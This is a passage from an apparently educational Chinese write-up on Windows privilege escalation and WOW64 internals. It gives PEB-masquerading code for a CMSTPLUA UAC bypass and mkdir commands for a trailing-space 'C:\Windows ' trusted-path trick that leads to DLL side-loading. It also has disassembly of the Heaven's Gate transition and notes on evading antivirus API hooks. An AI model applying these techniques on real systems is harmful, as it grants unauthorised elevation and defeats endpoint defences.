ULONG SubSystemData;
ULONG ProcessHeap;
ULONG FastPebLock;
ULONG AtlThunkSListPtr;
ULONG IFEOKey;
ULONG CrossProcessFlags;
ULONG UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG ApiSetMap;
};
typedef struct _LDR_DATA_TABLE_ENTRY32{
LIST_ENTRY32 InLoadOrderLinks;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING32 FullDllName;
UNICODE_STRING32 BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union{
LIST_ENTRY32 HashLinks;
ULONG SectionPointer;
};
ULONG CheckSum;
union{
ULONG TimeDateStamp;
ULONG LoadedImports;
};
ULONG EntryPointActivationContext;
ULONG PatchInformation;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
int main(){
void(WINAPI * pfnRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString) = (void(WINAPI *)(PUNICODE_STRING, PCWSTR))GetProcAddress(LoadLibrary("ntdll.dll"), "RtlInitUnicodeString");
WCHAR lpExplorePath[MAX_PATH];
ExpandEnvironmentStringsW(L"%SYSTEMROOT%\\explorer.exe", lpExplorePath, sizeof(lpExplorePath));
mPEB32 *pPEB = (mPEB32 *)__readfsdword(0x30); //x64下改为__readgsdword(0x60)
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(header->Flink, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList);
// patch current image path + arguments
pfnRtlInitUnicodeString(&pPEB->ProcessParameters->ImagePathName, lpExplorePath);
pfnRtlInitUnicodeString(&pPEB->ProcessParameters->CommandLine, lpExplorePath);
// patch loaded module name in PEB->LDR
pfnRtlInitUnicodeString((PUNICODE_STRING)&data->FullDllName, lpExplorePath);
pfnRtlInitUnicodeString((PUNICODE_STRING)&data->BaseDllName, L"explorer.exe");
if (SUCCEEDED(fn_call_CMSTPLUA_shellexecute()))
cout << "[!] successful" << endl;
return 0;
};

透过信任路径碰撞达成提权

对于Windows内建的BitLockerWizardElev.exe磁碟加密工具,自身标注为需要管理员权限执行requireAdministrator和自动特权提升autoElevate的。特权自动提升的三个条件如下,其中前两个此时已满足了:

  1. 执行程式需将自身配置为AutoElevation;
  2. 程式档案具有有效数位签名;
  3. 从可信任的系统目录被执行起来。

分析其导入表发现需要引入FVEWIZ!FveuiWizardFVEWIZ!FveuipClearFveWizOnStartup,此时应使用DLL Side-Loading手段,撰写一个恶意DLL模组导出这俩函数并劫持执行流程。C:\Windows\System32和C:\Windows\SysWOW64无法被任意写入档案与创建资料夹是因为系统槽被配置了DACL,认证A过程中先用GetLongPathNameW从子进程路径中提取出NT Path长路径而后便以此长路径用RtlPrefixUnicodeString比较是否路径开头为上面那俩,就予以通过认证A。但在呼叫GetLongPathNameW取出NT Path长路径内部发生Windows路径正则化,使UAC特权服务在信任认证A中比对的路径是受路径正规化过后的长路径,使得C:\下不能创建或写入档案,但可以创建新资料夹。之后通过认证A和B后,consent.exe要唤醒用户授权弹窗,但CreateProcessAsUserW创建子进程时不是使用认证完毕的长路径来生成进程,而是以父进程给出的原始子进程路径来生成进程。于是:

1
2
mkdir "\??\C:\Windows \"
mkdir "\??\C:\Windows \System32\"

在上述创建的目录下放置同名恶意软件,运行后可自动提权,且有数位签名。

重建天堂之门:探索WOW64模拟机至夺回64位元天堂胜地

入门

32位程式托管于原生64位进程中运行的状态统称位WOW64进程。一个标准的WOW64进程的记忆体分布如下,挂载的DLL模组同时具有32位和64位两种模块。32位程式仅能使用32位DLL,但64位原生系统看不懂32位DLL发送的系统中断,所以记忆体中出现同名模组的32/64位模组同时挂载。

1
2
3
4
5
6
7
8
9
10
11
0   iexplorer.exe*32
ntdll.dll*32
wow64.dll
wow64cpu.dll
wow64win.dll
TEB64
TEB32
PEB64
PEB32
4GB ntdll.dll
8EB

当托管于WOW64进程中的32位程式呼叫32位模组导出函数,接着透过WOW64模拟层将32位Win32API请求翻译为对应64位模组请求,最终以64位模组对应API发出64位系统中断给64位系统,完成一次WOW64系统中断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
;SysWOW64下的ntdll32.dll 过渡层函数
.text:4B2F6A80 ; __stdcall ZwResumeThread(x, x)
.text:4B2F6A80 public _ZwResumeThread@8
.text:4B2F6A80 _ZwResumeThread@8 proc near ; CODE XREF: EtwpCreateEtwThread(x,x)+2E↑p
.text:4B2F6A80 ; RtlSetProcessDebugInformation(x,x,x)+9F↓p ...
.text:4B2F6A80 000 B8 52 00 07 00 mov eax, 70052h ; NtResumeThread 当前欲呼叫的系统函数识别码
.text:4B2F6A85 000 BA 30 8C 31 4B mov edx, offset _Wow64SystemServiceCall@0 ; Wow64SystemServiceCall()
.text:4B2F6A8A 000 FF D2 call edx ; Wow64SystemServiceCall() ; Indirect Call Near Procedure
.text:4B2F6A8C 000 C2 08 00 retn 8 ; Return Near from Procedure
.text:4B2F6A8C _ZwResumeThread@8 endp
;通过WOW64模拟层
;System32下的ntdll64.dll
.text:000000018009F830 public ZwResumeThread
.text:000000018009F830 ZwResumeThread proc near ; CODE XREF: EtwpCreateEtwThread+46↑p
.text:000000018009F830 ; RtlpWow64SuspendThread+AEED3↓p ...
.text:000000018009F830 000 4C 8B D1 mov r10, rcx ; NtResumeThread
.text:000000018009F833 000 B8 52 00 00 00 mov eax, 52h ; 'R'
.text:000000018009F838 000 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1 ; Logical Compare
.text:000000018009F840 000 75 03 jnz short loc_18009F845 ; Jump if Not Zero (ZF=0)
.text:000000018009F842 000 0F 05 syscall ; Low latency system call
.text:000000018009F844 000 C3 retn ; Return Near from Procedure
.text:000000018009F845 ; ---------------------------------------------------------------------------
.text:000000018009F845
.text:000000018009F845 loc_18009F845: ; CODE XREF: ZwResumeThread+10↑j
.text:000000018009F845 000 CD 2E int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
.text:000000018009F845 ; DS:SI -> counted CR-terminated command string
.text:000000018009F847 000 C3 retn ; Return Near from Procedure
.text:000000018009F847 ZwResumeThread endp

在上述过程中,防毒软体使用API Hooking,挂钩经常被恶意使用的系统API,如NtResumeThread,修改其组合语言程式码片段前5字节为jmp,跳转至防毒设计的陷阱函数中扫描此次呼叫的参数是否恶意。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
;NtResumeThread Hooked ntdll32
jmp hkNtResumeThread ;e9xxxxxx
mov edx,ntdll!Wow64SystemServiceCall
call edx
ret 8
nop

;hkResumeThread
;...
ret trampolineNtResumeThread;

;WOW64模拟层 trampolineNtResumeThread
mov eax,70052
jmp NtResumeThread+sizeof(jmp)

;NtResumeThread ntdll64
mov r10,rcx
mov eax,52h
test [SharedUserData+0x308],1
jne ntdll!NtResumeThread+0x15
syscall
ret
int 2e

上述过程只挂钩了ntdll32.dll,微软并不愿意攻击方或防守方直接挂钩64位DLL,且若ntdll64!LdrLoadDll被调用于挂载任何64位DLL至WOW64则自动拒绝。当WOW64进程在初始化阶段会进入wow64!Map64BitDlls函数,将所有系统常见的已知DLL如Kernel32、User32、GDI等攻击者常滥用的64位系统模组都先挂载一份到记忆体VAD中,但不在64位PEB的Ldr模组资讯中记录挂在了这些64位DLL模组。这等于熊在WOW64进程预先挂载并占用这些攻击者想用的64位DLL模组记忆体,无法在64位kernel32.dll模组想使用的地址上申请记忆体,任何天堂之门攻击想要用ntdll64!LdrLoadDll来挂载64位kernel32.dll就必定失败。

为了绕过这项保护,成功在WOW64进程中挂载64位DLL,可以先用ntdll64!NtUnmapViewOfSection把那块记忆体释放掉,接着用ntdll64!LdrLoadDll就能成功挂载了。但在Windows 10后导入了Control Flow Guard(CFG),使得上述方法失败,因为WOW64进程的64位空间里没有64位Bitmap能让攻击者想挂载的系统DLL的CFG能启用,导致DLL无法被挂载。

WOW64模拟机初始化

任何WOW64进程一开始也是64位线程,通过64位wow64cpu!RunSimulatedCode将自身降为32位模式进程状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
.text:000000006B101650                                ; void __fastcall RunSimulatedCode(__int64, __int64, __int64, __int64, char, int, __int64, int, __int64, __int64)
.text:000000006B101650 RunSimulatedCode proc near ; CODE XREF: BTCpuSimulate:loc_6B101D70↓p
.text:000000006B101650 ; DATA XREF: .pdata:000000006B106078↓o
.text:000000006B101650
.text:000000006B101650 var_A8 = qword ptr -0A8h
.text:000000006B101650 var_A0 = word ptr -0A0h
.text:000000006B101650 var_98 = dword ptr -98h
.text:000000006B101650 var_90 = qword ptr -90h
.text:000000006B101650 var_88 = qword ptr -88h
.text:000000006B101650 var_80 = qword ptr -80h
.text:000000006B101650 var_78 = qword ptr -78h
.text:000000006B101650 var_70 = qword ptr -70h
.text:000000006B101650 var_68 = qword ptr -68h
.text:000000006B101650 var_60 = qword ptr -60h
.text:000000006B101650 var_58 = qword ptr -58h
.text:000000006B101650 var_50 = dword ptr -50h
.text:000000006B101650 var_48 = dword ptr -48h
.text:000000006B101650 arg_0 = word ptr 8
.text:000000006B101650 arg_8 = dword ptr 10h
.text:000000006B101650 arg_10 = qword ptr 18h
.text:000000006B101650 arg_18 = qword ptr 20h
.text:000000006B101650 arg_20 = byte ptr 28h
.text:000000006B101650 arg_30 = dword ptr 38h
.text:000000006B101650 arg_34 = dword ptr 3Ch
.text:000000006B101650 arg_38 = dword ptr 40h
.text:000000006B101650 arg_40 = qword ptr 48h
.text:000000006B101650 arg_48 = qword ptr 50h
.text:000000006B101650
.text:000000006B101650 ; __unwind { // CpupSimulateHandler
.text:000000006B101650 000 41 57 push r15
.text:000000006B101652 008 41 56 push r14
.text:000000006B101654 010 41 55 push r13
.text:000000006B101656 018 41 54 push r12
.text:000000006B101658 020 53 push rbx
.text:000000006B101659 028 56 push rsi
.text:000000006B10165A 030 57 push rdi
.text:000000006B10165B 038 55 push rbp
.text:000000006B10165C 040 48 83 EC 68 sub rsp, 68h ; Integer Subtraction
.text:000000006B101660 0A8 65 4C 8B 24 25 30 00 00 00 mov r12, gs:30h ;r12指向当前64位TEB结构地址
.text:000000006B101669 0A8 4C 8D 3D 00 31 00 00 lea r15, TurboThunkDispatch ; Load Effective Address
.text:000000006B101670 0A8 4D 8B AC 24 88 14 00 00 mov r13, [r12+1488h] ;64位TEB+1488h为32位TEB 该结构用于32位执行出WOW64模拟器最新运行状态的快照
.text:000000006B101678 0A8 49 81 C5 80 00 00 00 add r13, 80h ; Add
.text:000000006B10167F
.text:000000006B10167F loc_6B10167F: ; CODE XREF: RunSimulatedCode+16E↓j
.text:000000006B10167F 0A8 41 0F BA 75 80 00 btr dword ptr [r13-80h], 0 ; Bit Test and Reset
.text:000000006B101685 0A8 72 37 jb short loc_6B1016BE ; Jump if Below (CF=1)
.text:000000006B101687 0A8 41 8B 7D 20 mov edi, [r13+20h]
.text:000000006B10168B 0A8 41 8B 75 24 mov esi, [r13+24h]
.text:000000006B10168F 0A8 41 8B 5D 28 mov ebx, [r13+28h]
.text:000000006B101693 0A8 41 8B 6D 38 mov ebp, [r13+38h]
.text:000000006B101697 0A8 41 8B 45 34 mov eax, [r13+34h]
.text:000000006B10169B 0A8 4C 8B F4 mov r14, rsp
.text:000000006B10169E 0A8 C7 44 24 04 23 00 00 00 mov dword ptr [rsp+0A8h+var_A8+4], 23h ; '#'
.text:000000006B1016A6 0A8 41 B8 2B 00 00 00 mov r8d, 2Bh ; '+'
.text:000000006B1016AC 0A8 41 8E D0 mov ss, r8d
.text:000000006B1016AF 0A8 45 8B 4D 3C mov r9d, [r13+3Ch]
.text:000000006B1016B3 0A8 44 89 0C 24 mov dword ptr [rsp+0A8h+var_A8], r9d
.text:000000006B1016B7 0A8 41 8B 65 48 mov esp, [r13+48h]
.text:000000006B1016BB 0A8 41 FF 2E jmp fword ptr [r14] ; Indirect Far Jump
.text:000000006B1016BE ; ---------------------------------------------------------------------------
.text:000000006B1016BE
.text:000000006B1016BE loc_6B1016BE: ; CODE XREF: RunSimulatedCode+35↑j
.text:000000006B1016BE 0A8 B9 2B 00 00 00 mov ecx, 2Bh ; '+'
.text:000000006B1016C3 0A8 8E D9 mov ds, ecx
.text:000000006B1016C5 assume ds:nothing
.text:000000006B1016C5 0A8 8E C1 mov es, ecx
.text:000000006B1016C7 assume es:nothing
.text:000000006B1016C7 0A8 8E E9 mov gs, ecx
.text:000000006B1016C9 assume gs:nothing
.text:000000006B1016C9 0A8 4C 8B 05 88 2C 00 00 mov r8, cs:CpupUserSharedData
.text:000000006B1016D0 0A8 41 F6 80 8A 02 00 00 FF test byte ptr [r8+28Ah], 0FFh ; Logical Compare
.text:000000006B1016D8 0A8 75 0B jnz short loc_6B1016E5 ; Jump if Not Zero (ZF=0)
.text:000000006B1016DA 0A8 41 B8 53 00 00 00 mov r8d, 53h ; 'S'
.text:000000006B1016E0 0A8 41 8E E0 mov fs, r8d
.text:000000006B1016E3 0A8 EB 0E jmp short loc_6B1016F3 ; Jump
.text:000000006B1016E5 ; ---------------------------------------------------------------------------
.text:000000006B1016E5
.text:000000006B1016E5 loc_6B1016E5: ; CODE XREF: RunSimulatedCode+88↑j
.text:000000006B1016E5 0A8 65 4C 8B 04 25 00 00 00 00 mov r8, gs:0
.text:000000006B1016EE 0A8 F3 49 0F AE D0 wrfsbase r8 ; Write FS Segment Base
.text:000000006B1016F3
.text:000000006B1016F3 loc_6B1016F3: ; CODE XREF: RunSimulatedCode+93↑j
.text:000000006B1016F3 0A8 41 0F 28 85 F0 00 00 00 movaps xmm0, xmmword ptr [r13+0F0h] ; Move Aligned Four Packed Single-FP
.text:000000006B1016FB 0A8 41 0F 28 8D 00 01 00 00 movaps xmm1, xmmword ptr [r13+100h] ; Move Aligned Four Packed Single-FP
.text:000000006B101703 0A8 41 0F 28 95 10 01 00 00 movaps xmm2, xmmword ptr [r13+110h] ; Move Aligned Four Packed Single-FP
.text:000000006B10170B 0A8 41 0F 28 9D 20 01 00 00 movaps xmm3, xmmword ptr [r13+120h] ; Move Aligned Four Packed Single-FP
.text:000000006B101713 0A8 41 0F 28 A5 30 01 00 00 movaps xmm4, xmmword ptr [r13+130h] ; Move Aligned Four Packed Single-FP
.text:000000006B10171B 0A8 41 0F 28 AD 40 01 00 00 movaps xmm5, xmmword ptr [r13+140h] ; Move Aligned Four Packed Single-FP
.text:000000006B101723 0A8 41 8B 4D 30 mov ecx, [r13+30h]
.text:000000006B101727 0A8 41 8B 55 2C mov edx, [r13+2Ch]
.text:000000006B10172B 0A8 41 83 65 80 FF and dword ptr [r13-80h], 0FFFFFFFFh ; Logical AND
.text:000000006B101730 0A8 41 8B 7D 20 mov edi, [r13+20h]
.text:000000006B101734 0A8 41 8B 75 24 mov esi, [r13+24h]
.text:000000006B101738 0A8 41 8B 5D 28 mov ebx, [r13+28h]
.text:000000006B10173C 0A8 41 8B 6D 38 mov ebp, [r13+38h]
.text:000000006B101740 0A8 41 8B 45 34 mov eax, [r13+34h]
.text:000000006B101744 0A8 4C 8B F4 mov r14, rsp
.text:000000006B101747 0A8 66 C7 44 24 08 23 00 mov [rsp+0A8h+var_A0], 23h ; '#'
.text:000000006B10174E 0A8 66 C7 44 24 20 2B 00 mov word ptr [rsp+0A8h+var_88], 2Bh ; '+'
.text:000000006B101755 0A8 45 8B 45 44 mov r8d, [r13+44h]
.text:000000006B101759 0A8 41 81 65 44 FF FE FF FF and dword ptr [r13+44h], 0FFFFFEFFh ; Logical AND
.text:000000006B101761 0A8 44 89 44 24 10 mov [rsp+0A8h+var_98], r8d
.text:000000006B101766 0A8 45 8B 45 48 mov r8d, [r13+48h]
.text:000000006B10176A 0A8 4C 89 44 24 18 mov [rsp+0A8h+var_90], r8
.text:000000006B10176F 0A8 45 8B 45 3C mov r8d, [r13+3Ch]
.text:000000006B101773 0A8 4C 89 04 24 mov [rsp+0A8h+var_A8], r8
.text:000000006B101777 0A8 48 CF iretq ; Interrupt Return (use64)

TurboThunkDispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
.rdata:000000006B104770 AF 17 10 6B 00 00 00 00        TurboThunkDispatch dq offset TurboDispatchJumpAddressEnd
.rdata:000000006B104770 ; DATA XREF: RunSimulatedCode+19↑o
.rdata:000000006B104770 ; BTCpuTurboThunkControl:loc_6B101EB6↑r ...
.rdata:000000006B104778 AF 1C 10 6B 00 00 00 00 off_6B104778 dq offset Thunk0Arg ; DATA XREF: BTCpuTurboThunkControl+A1↑w
.rdata:000000006B104780 51 1B 10 6B 00 00 00 00 off_6B104780 dq offset Thunk0ArgReloadState
.rdata:000000006B104780 ; DATA XREF: BTCpuTurboThunkControl+A8↑w
.rdata:000000006B104788 5F 1C 10 6B 00 00 00 00 off_6B104788 dq offset Thunk1ArgSp ; DATA XREF: BTCpuTurboThunkControl+AF↑w
.rdata:000000006B104790 70 1C 10 6B 00 00 00 00 off_6B104790 dq offset Thunk1ArgNSp ; DATA XREF: BTCpuTurboThunkControl+B6↑w
.rdata:000000006B104798 6C 1C 10 6B 00 00 00 00 off_6B104798 dq offset Thunk2ArgNSpNSp
.rdata:000000006B104798 ; DATA XREF: BTCpuTurboThunkControl+BD↑w
.rdata:000000006B1047A0 C6 1B 10 6B 00 00 00 00 off_6B1047A0 dq offset Thunk2ArgNSpNSpReloadState
.rdata:000000006B1047A0 ; DATA XREF: BTCpuTurboThunkControl+C4↑w
.rdata:000000006B1047A8 79 1C 10 6B 00 00 00 00 off_6B1047A8 dq offset Thunk2ArgSpNSp
.rdata:000000006B1047A8 ; DATA XREF: BTCpuTurboThunkControl+CB↑w
.rdata:000000006B1047B0 5B 1C 10 6B 00 00 00 00 off_6B1047B0 dq offset Thunk2ArgSpSp ; DATA XREF: BTCpuTurboThunkControl+D2↑w
.rdata:000000006B1047B8 4A 1C 10 6B 00 00 00 00 off_6B1047B8 dq offset Thunk2ArgNSpSp
.rdata:000000006B1047B8 ; DATA XREF: BTCpuTurboThunkControl+D9↑w
.rdata:000000006B1047C0 68 1C 10 6B 00 00 00 00 off_6B1047C0 dq offset Thunk3ArgNSpNSpNSp
.rdata:000000006B1047C0 ; DATA XREF: BTCpuTurboThunkControl+E0↑w
.rdata:000000006B1047C8 57 1C 10 6B 00 00 00 00 off_6B1047C8 dq offset Thunk3ArgSpSpSp
.rdata:000000006B1047C8 ; DATA XREF: BTCpuTurboThunkControl+E7↑w
.rdata:000000006B1047D0 82 1C 10 6B 00 00 00 00 off_6B1047D0 dq offset Thunk3ArgSpNSpNSp
.rdata:000000006B1047D0 ; DATA XREF: BTCpuTurboThunkControl+EE↑w
.rdata:000000006B1047D8 46 1B 10 6B 00 00 00 00 off_6B1047D8 dq offset Thunk3ArgSpNSpNSpReloadState
.rdata:000000006B1047D8 ; DATA XREF: BTCpuTurboThunkControl+F5↑w
.rdata:000000006B1047E0 93 1C 10 6B 00 00 00 00 off_6B1047E0 dq offset Thunk3ArgSpSpNSp
.rdata:000000006B1047E0 ; DATA XREF: BTCpuTurboThunkControl+FC↑w
.rdata:000000006B1047E8 46 1C 10 6B 00 00 00 00 off_6B1047E8 dq offset Thunk3ArgNSpSpNSp
.rdata:000000006B1047E8 ; DATA XREF: BTCpuTurboThunkControl+103↑w
.rdata:000000006B1047F0 75 1C 10 6B 00 00 00 00 off_6B1047F0 dq offset Thunk3ArgSpNSpSp
.rdata:000000006B1047F0 ; DATA XREF: BTCpuTurboThunkControl+10A↑w
.rdata:000000006B1047F8 64 1C 10 6B 00 00 00 00 off_6B1047F8 dq offset Thunk4ArgNSpNSpNSpNSp
.rdata:000000006B1047F8 ; DATA XREF: BTCpuTurboThunkControl+111↑w
.rdata:000000006B104800 8F 1C 10 6B 00 00 00 00 off_6B104800 dq offset Thunk4ArgSpSpNSpNSp
.rdata:000000006B104800 ; DATA XREF: BTCpuTurboThunkControl+118↑w
.rdata:000000006B104808 BE 1A 10 6B 00 00 00 00 off_6B104808 dq offset Thunk4ArgSpSpNSpNSpReloadState
.rdata:000000006B104808 ; DATA XREF: BTCpuTurboThunkControl+11F↑w
.rdata:000000006B104810 A0 1C 10 6B 00 00 00 00 off_6B104810 dq offset Thunk4ArgSpNSpNSpNSp
.rdata:000000006B104810 ; DATA XREF: BTCpuTurboThunkControl+126↑w
.rdata:000000006B104818 42 1B 10 6B 00 00 00 00 off_6B104818 dq offset Thunk4ArgSpNSpNSpNSpReloadState
.rdata:000000006B104818 ; DATA XREF: BTCpuTurboThunkControl+12D↑w
.rdata:000000006B104820 42 1C 10 6B 00 00 00 00 off_6B104820 dq offset Thunk4ArgNSpSpNSpNSp
.rdata:000000006B104820 ; DATA XREF: BTCpuTurboThunkControl+134↑w
.rdata:000000006B104828 53 1C 10 6B 00 00 00 00 off_6B104828 dq offset Thunk4ArgSpSpSpNSp
.rdata:000000006B104828 ; DATA XREF: BTCpuTurboThunkControl+13B↑w
.rdata:000000006B104830 F5 17 10 6B 00 00 00 00 off_6B104830 dq offset QuerySystemTime
.rdata:000000006B104830 ; DATA XREF: BTCpuTurboThunkControl+142↑w
.rdata:000000006B104838 C4 17 10 6B 00 00 00 00 off_6B104838 dq offset GetCurrentProcessorNumber
.rdata:000000006B104838 ; DATA XREF: BTCpuTurboThunkControl+149↑w
.rdata:000000006B104840 6F 19 10 6B 00 00 00 00 off_6B104840 dq offset ReadWriteFile ; DATA XREF: BTCpuTurboThunkControl+150↑w
.rdata:000000006B104848 BF 18 10 6B 00 00 00 00 off_6B104848 dq offset DeviceIoctlFile
.rdata:000000006B104848 ; DATA XREF: BTCpuTurboThunkControl+157↑w
.rdata:000000006B104850 16 1A 10 6B 00 00 00 00 off_6B104850 dq offset RemoveIoCompletion
.rdata:000000006B104850 ; DATA XREF: BTCpuTurboThunkControl+15E↑w
.rdata:000000006B104858 2B 18 10 6B 00 00 00 00 off_6B104858 dq offset WaitForMultipleObjects
.rdata:000000006B104858 ; DATA XREF: BTCpuTurboThunkControl+165↑w
.rdata:000000006B104860 32 18 10 6B 00 00 00 00 off_6B104860 dq offset WaitForMultipleObjects32
.rdata:000000006B104860 ; DATA XREF: BTCpuTurboThunkControl+16C↑w
.rdata:000000006B104868 79 17 10 6B 00 00 00 00 off_6B104868 dq offset CpupReturnFromSimulatedCode
.rdata:000000006B104868 ; DATA XREF: BTCpuTurboThunkControl+32↑r
.rdata:000000006B104870 C3 17 10 6B 00 00 00 00 dq offset ThunkNone

其中最后一个函数CpupReturnFromSimulatedCode是32位走回64位元的第一个64位入口函数。当32位程式踩到任何32位系统函数要进行系统中断时,踩入该函数,对当前32位执行状态进行备份,接着跳入TurboDispatchJumpAddressEnd,,其内部以ntdll64.dll的函数进行仿真当前收到的32位系统中断。TurboDispatchJumpAddressEnd用于呼叫wow64!Wow64SystemServiceEx完成仿真32位系统中断,完成后从上次CpupReturnFromSimulatedCode备份的执行状态进行恢复,跳回上次32位程式呼叫Win32 API的返回地址并接着执行。

NtAPI过渡层Trampoline

ntdll32的过渡层函数上面有,调用的ntdll32!Wow64SystemServiceCall如下:

1
2
3
wow64cpu.dll+6000 jmp 0033:wow64cpu.dll+6009
wow64cpu.dll+6007 add [rax],al
wow64cpu.dll+6009 jmp qword ptr [r15+000000F8] ;跳转至CpupReturnFromSimulatedCode

6000处区段暂存器CS值决定当前Intel晶片应当以哪一种指令集来解析Program Counter上的程式码,+6009h处开始的程式码就是Intel x64组合语言指令。不同CS暂存器值组合与意义为:

含义
0x23 WOW64架构中32位执行模式
0x33 原生64位执行状态
0x1B 原生32位执行状态

最后跳转的CpupReturnFromSimulatedCode用于备份当下32执行绪运行状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
.text:000000006B101779                             CpupReturnFromSimulatedCode:            ; CODE XREF: sub_6B103024+4↓j
.text:000000006B101779 ; DATA XREF: BTCpuResetToConsistentState+96↓o ...
.text:000000006B101779 000 49 87 E6 xchg rsp, r14 ; Exchange Register/Memory with Register 将当前程式使用的32堆叠从暂存器RSP取出并放到暂存器R14 并将64位堆叠从暂存器R14取出作为接下来64位WOW64翻译阶段使用的当前主要对鞋
.text:000000006B10177C 000 45 8B 06 mov r8d, [r14] ;从32位执行绪堆叠上取出此次系统中断返回地址
.text:000000006B10177F 000 49 83 C6 04 add r14, 4 ; Add
.text:000000006B101783 000 45 89 45 3C mov [r13+3Ch], r8d ;上面获取的返回地址存入暂存器R13保存的32位执行绪快照EIP 后者在wow64cpu!RunSimulatedCode中完成初始化
.text:000000006B101787 000 45 89 75 48 mov [r13+48h], r14d
.text:000000006B10178B 000 4D 8D 5E 04 lea r11, [r14+4] ; Load Effective Address 当前系统函数参数位址
.text:000000006B10178F 000 41 89 7D 20 mov [r13+20h], edi ;下面这些都保存一份到32位执行绪快照记录
.text:000000006B101793 000 41 89 75 24 mov [r13+24h], esi
.text:000000006B101797 000 41 89 5D 28 mov [r13+28h], ebx
.text:000000006B10179B 000 41 89 6D 38 mov [r13+38h], ebp
.text:000000006B10179F 000 9C pushfq ; Push Flags Register onto the Stack (use64)
.text:000000006B1017A0 008 41 58 pop r8
.text:000000006B1017A2 000 45 89 45 44 mov [r13+44h], r8d
.text:000000006B1017A6 ; Exported entry 9. TurboDispatchJumpAddressStart
.text:000000006B1017A6
.text:000000006B1017A6 public TurboDispatchJumpAddressStart
.text:000000006B1017A6 TurboDispatchJumpAddressStart: ; DATA XREF: .rdata:off_6B1048A8↓o
.text:000000006B1017A6 000 8B C8 mov ecx, eax ;上述eax保存当前欲呼叫的系统函数识别码
.text:000000006B1017A8 000 C1 E9 10 shr ecx, 10h ; Shift Logical Right 计算RCX
.text:000000006B1017AB 000 41 FF 24 CF jmp qword ptr [r15+rcx*8] ; Indirect Near Jump 跳转Switch表TurboThunkDispatch
.text:000000006B1017AF ; ---------------------------------------------------------------------------
.text:000000006B1017AF ; Exported entry 8. TurboDispatchJumpAddressEnd
.text:000000006B1017AF
.text:000000006B1017AF public TurboDispatchJumpAddressEnd
.text:000000006B1017AF TurboDispatchJumpAddressEnd: ; CODE XREF: RunSimulatedCode+274↓j 仿真当前32位系统中断为64位系统中断
.text:000000006B1017AF ; RunSimulatedCode+324↓j
.text:000000006B1017AF ; DATA XREF: ...
.text:000000006B1017AF 0A8 8B C8 mov ecx, eax ;当前欲呼叫的NtAPI系统函数识别码
.text:000000006B1017B1 0A8 49 8B D3 mov rdx, r11 ;32位参数起点 即C/C++的va_start
.text:000000006B1017B4 0A8 FF 15 2E 2A 00 00 call cs:__imp_Wow64SystemServiceEx ; Indirect Call Near Procedure
.text:000000006B1017BA 0A8 41 89 45 34 mov [r13+34h], eax ;放入32位执行绪快照记录EAX中
.text:000000006B1017BE 0A8 E9 BC FE FF FF jmp loc_6B10167F ; Jump
;...
.text:000000006B10167F loc_6B10167F: ; CODE XREF: RunSimulatedCode+16E↓j
.text:000000006B10167F 0A8 41 0F BA 75 80 00 btr dword ptr [r13-80h], 0 ; Bit Test and Reset
.text:000000006B101685 0A8 72 37 jb short loc_6B1016BE ; Jump if Below (CF=1)
.text:000000006B101687 0A8 41 8B 7D 20 mov edi, [r13+20h] ;恢复32位执行绪快照记录
.text:000000006B10168B 0A8 41 8B 75 24 mov esi, [r13+24h]
.text:000000006B10168F 0A8 41 8B 5D 28 mov ebx, [r13+28h]
.text:000000006B101693 0A8 41 8B 6D 38 mov ebp, [r13+38h]
.text:000000006B101697 0A8 41 8B 45 34 mov eax, [r13+34h]
.text:000000006B10169B 0A8 4C 8B F4 mov r14, rsp
.text:000000006B10169E 0A8 C7 44 24 04 23 00 00 00 mov dword ptr [rsp+0A8h+var_A8+4], 23h ; '#'
.text:000000006B1016A6 0A8 41 B8 2B 00 00 00 mov r8d, 2Bh ; '+'
.text:000000006B1016AC 0A8 41 8E D0 mov ss, r8d
.text:000000006B1016AF 0A8 45 8B 4D 3C mov r9d, [r13+3Ch]
.text:000000006B1016B3 0A8 44 89 0C 24 mov dword ptr [rsp+0A8h+var_A8], r9d
.text:000000006B1016B7 0A8 41 8B 65 48 mov esp, [r13+48h]
.text:000000006B1016BB 0A8 41 FF 2E jmp fword ptr [r14] ; Indirect Far Jump 跳回32位原程式返回地址 写回CS为0x23

任意一个WOW64执行绪至少有两个独立的执行绪堆叠参与,分别为32位执行绪堆叠和64位执行绪堆叠,前者位WOW64执行绪程式本身使用的堆叠,后者只有从32位切回64位时才使用。

天堂翻译机核心

该核心即为Wow64SystemServiceEx。例如NtOpenProcess导出函数为:

1
2
3
4
5
6
7
8
9
.text:4B2F67C0                                ; __stdcall ZwOpenProcess(x, x, x, x)
.text:4B2F67C0 public _ZwOpenProcess@16
.text:4B2F67C0 _ZwOpenProcess@16 proc near ; CODE XREF: RtlpQueryCriticalSectionOwner(x,x)+4E↓p
